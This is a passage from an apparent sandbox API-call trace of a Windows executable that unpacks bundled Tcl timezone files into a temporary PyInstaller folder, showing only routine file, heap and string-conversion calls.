lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.440] GetFileType (hFile=0x10c) returned 0x1 [0039.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.440] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.440] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.440] CloseHandle (hObject=0x10c) returned 1 [0039.440] GetLastError () returned 0x0 [0039.440] SetLastError (dwErrCode=0x0) [0039.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.440] GetFileType (hFile=0x10c) returned 0x1 [0039.440] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.440] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.441] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.441] CloseHandle (hObject=0x10c) returned 1 [0039.441] GetLastError () returned 0x0 [0039.441] SetLastError (dwErrCode=0x0) [0039.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.441] GetFileType (hFile=0x10c) returned 0x1 [0039.441] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.441] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.441] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.441] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.441] CloseHandle (hObject=0x10c) returned 1 [0039.442] GetLastError () returned 0x0 [0039.442] SetLastError (dwErrCode=0x0) [0039.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince") returned 79 [0039.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\port-au-prince"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.442] GetLastError () returned 0x2 [0039.442] SetLastError (dwErrCode=0x2) [0039.442] GetLastError () returned 0x2 [0039.442] SetLastError (dwErrCode=0x2) [0039.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince", lpFilePart=0x0) returned 0x4e [0039.442] GetLastError () returned 0x2 [0039.442] SetLastError (dwErrCode=0x2) [0039.442] GetLastError () returned 0x2 [0039.442] SetLastError (dwErrCode=0x2) [0039.442] GetLastError () returned 0x2 [0039.442] SetLastError (dwErrCode=0x2) [0039.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince") returned 79 [0039.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port-au-Prince" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\port-au-prince"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.442] GetFileType (hFile=0x10c) returned 0x1 [0039.442] htonl (hostlong=0x3a190000) returned 0x193a [0039.442] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.443] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.444] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x93a, lpOverlapped=0x0) returned 1 [0039.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.444] CloseHandle (hObject=0x10c) returned 1 [0039.444] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.444] htonl (hostlong=0x40000000) returned 0x40 [0039.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.445] GetFileType (hFile=0x10c) returned 0x1 [0039.445] htonl (hostlong=0x100c5a00) returned 0x5a0c10 [0039.445] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ebc10, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.445] htonl (hostlong=0x93000000) returned 0x93 [0039.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x55cfe0 [0039.445] htonl (hostlong=0x93000000) returned 0x93 [0039.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.445] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.445] htonl (hostlong=0x9b000000) returned 0x9b [0039.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9b) returned 0x550600 [0039.445] htonl (hostlong=0x93000000) returned 0x93 [0039.445] htonl (hostlong=0x9b000000) returned 0x9b [0039.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.445] CloseHandle (hObject=0x10c) returned 1 [0039.445] GetLastError () returned 0x0 [0039.445] SetLastError (dwErrCode=0x0) [0039.445] GetLastError () returned 0x0 [0039.445] SetLastError (dwErrCode=0x0) [0039.445] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.446] GetFileType (hFile=0x10c) returned 0x1 [0039.446] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.446] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.446] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.446] CloseHandle (hObject=0x10c) returned 1 [0039.446] GetLastError () returned 0x0 [0039.446] SetLastError (dwErrCode=0x0) [0039.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.446] GetFileType (hFile=0x10c) returned 0x1 [0039.446] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.446] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.446] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.446] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.447] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.447] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.447] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.447] CloseHandle (hObject=0x10c) returned 1 [0039.447] GetLastError () returned 0x0 [0039.447] SetLastError (dwErrCode=0x0) [0039.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.447] GetFileType (hFile=0x10c) returned 0x1 [0039.447] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.447] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.447] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.447] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.447] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.447] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.447] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.447] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.447] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.447] CloseHandle (hObject=0x10c) returned 1 [0039.447] GetLastError () returned 0x0 [0039.447] SetLastError (dwErrCode=0x0) [0039.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain") returned 78 [0039.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\port_of_spain"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.448] GetLastError () returned 0x2 [0039.448] SetLastError (dwErrCode=0x2) [0039.448] GetLastError () returned 0x2 [0039.448] SetLastError (dwErrCode=0x2) [0039.448] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain", lpFilePart=0x0) returned 0x4d [0039.448] GetLastError () returned 0x2 [0039.448] SetLastError (dwErrCode=0x2) [0039.448] GetLastError () returned 0x2 [0039.448] SetLastError (dwErrCode=0x2) [0039.448] GetLastError () returned 0x2 [0039.448] SetLastError (dwErrCode=0x2) [0039.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain") returned 78 [0039.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Port_of_Spain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\port_of_spain"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.448] GetFileType (hFile=0x10c) returned 0x1 [0039.448] htonl (hostlong=0x9b000000) returned 0x9b [0039.448] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.448] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9b, lpOverlapped=0x0) returned 1 [0039.450] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.450] CloseHandle (hObject=0x10c) returned 1 [0039.451] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.451] htonl (hostlong=0x40000000) returned 0x40 [0039.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.451] GetFileType (hFile=0x10c) returned 0x1 [0039.451] htonl (hostlong=0xa30c5a00) returned 0x5a0ca3 [0039.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ebca3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.451] htonl (hostlong=0x90000000) returned 0x90 [0039.451] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0039.451] htonl (hostlong=0x90000000) returned 0x90 [0039.451] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.451] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.452] htonl (hostlong=0xc4000000) returned 0xc4 [0039.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc4) returned 0x550600 [0039.452] htonl (hostlong=0x90000000) returned 0x90 [0039.452] htonl (hostlong=0xc4000000) returned 0xc4 [0039.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.452] CloseHandle (hObject=0x10c) returned 1 [0039.452] GetLastError () returned 0x0 [0039.452] SetLastError (dwErrCode=0x0) [0039.452] GetLastError () returned 0x0 [0039.452] SetLastError (dwErrCode=0x0) [0039.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.452] GetFileType (hFile=0x10c) returned 0x1 [0039.452] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.452] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.452] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.452] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 